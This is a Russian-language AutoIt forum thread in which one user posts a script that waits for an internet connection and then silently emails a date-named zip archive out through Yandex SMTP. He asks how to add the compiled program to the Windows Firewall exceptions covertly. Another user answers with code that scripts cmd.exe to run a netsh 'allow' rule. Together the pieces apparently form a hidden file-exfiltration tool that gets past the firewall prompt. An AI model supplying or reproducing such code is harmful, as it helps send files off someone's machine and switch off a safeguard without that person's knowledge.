Как добавить приложение в список исключений брандмауэра?

[urrya]

Доброго времени суток гос-да.
Собственно в названии темы и есть полный вопрос:
"Как добавить приложение в список исключений брандмауэра?"
Может быть с помощью какого то cmd или bat файла это легче сделать.
В общем есть примерно такой скрипт:

#include <Date.au3>
#include <ButtonConstants.au3>
#include <EditConstants.au3>
#include <GUIConstantsEx.au3>
#include <StaticConstants.au3>
#include <WindowsConstants.au3>
#include <DateTimeConstants.au3>
#Include <Array.au3>

Global $gg = _NowDate()
Global $DaytimsEmailTo = (@ScriptDir & '\Email\arhivs\' & _NowDate() & '.zip')
Global $email_from = '', $email_to = '', $password = ''

PingG()

Func PingG()
Sleep(1000)
$var = Ping("www.google.com",1000)
If $var Then
SendMeil()
Else
PingG()
EndIf
EndFunc


Func SendMeil()

$str = "http://schemas.microsoft.com/cdo/configuration/"
$hMAIL = ObjCreate ("CDO.Message")
With $hMAIL
.From = $email_from ;Имейла от кого ==============================================
.To = $email_to ;Имейла на кого ===============================================
.Subject = $gg ;=========================================
.TextBody = " !!! " ;Текст
.BodyPart.Charset = "UTF-8" ;кодировка "windows-1251"
.HTMLBody = "<b> !!! </b></br>" ;В HTML формат
.AddAttachment ($DaytimsEmailTo)  ;Файл
Sleep(2000)
EndWith
With $hMAIL.Configuration.Fields
.Item ($str & "sendusing") = 2
.Item ($str & "smtpserver") = 'smtp.yandex.ru' ;smtp сервер
.Item ($str & "smtpauthenticate") = 1
.Item ($str & "sendusername") = $email_from
.Item ($str & "sendpassword") = $password ;Пароль
.Item ($str & "smtpusessl") = 1 ;TLS/SSL
.Item ($str & "smtpserverport") = 465 ;Порт
.Update
EndWith
$hMAIL.Send
EndFunc

и при запуске его в скомпилированном exe файле выскакивает окно
брандмауэра, по этой причине и нужно скрыто добавить exe - шник в исключения брандмауэра.
Заранее спасибо всем кто поможет с примером кода на Autoit или bat - ника.

 

[Yashied]

https://support.microsoft.com/en-us/kb/947709

 

[urrya]

https://support.microsoft.com/en-us/kb/947709

Извиняюсь.
СПС конечно, полезная ссылка, но вопрос не о ссылке на страницу с англоязычными пояснениями,
а о примере с Русскими комментариями.

P.S. Тема то в разделе для новичков и к тому же на Русском форуме как бы.

 

[Dima1337]

Если в ручную то: Панель управления -> Система и безопасность -> Брандмауэр windows
Далее добавляем в исключения: Брандмауэр windows -> Дополнительные настройки -> Исходящие\Входящие...

 

[urrya]

Если в ручную то: Панель управления -> Система и безопасность -> Брандмауэр windows
Далее добавляем в исключения: Брандмауэр windows -> Дополнительные настройки -> Исходящие\Входящие...

:blink:
Нет, не в ручную!

 

[Dima1337]

$hFile = Run("cmd.exe") ; Запукаем cmd
RunWait($hFile) ; Ждем
Sleep(100) ; Еще ждем
ControlSend("Administrator: C:\Windows\system32\cmd.exe","","","netsh advfirewall firewall add rule name=" & 'My Application' & " dir=in action=allow program=" & 'C:\MyApp\MyApp.exe' & " enable=yes")
; Пишем в cmd добавить программу под тегом My Application по адресу C:\MyApp\MyApp.exe в исключения
ControlSend("Administrator: C:\Windows\system32\cmd.exe","","","{Enter}")
; Запускаем команду
ProcessClose($hFile) ; Закрываем cmd

 

[urrya]

$hFile = Run("cmd.exe") ; Запукаем cmd
RunWait($hFile) ; Ждем
Sleep(100) ; Еще ждем
ControlSend("Administrator: C:\Windows\system32\cmd.exe","","","netsh advfirewall firewall add rule name=" & 'My Application' & " dir=in action=allow program=" & 'C:\MyApp\MyApp.exe' & " enable=yes")
; Пишем в cmd добавить программу под тегом My Application по адресу C:\MyApp\MyApp.exe в исключения
ControlSend("Administrator: C:\Windows\system32\cmd.exe","","","{Enter}")
; Запускаем команду
ProcessClose($hFile) ; Закрываем cmd

Большое спасибо! Очень помог Ваш пример с комментариями.
:beer: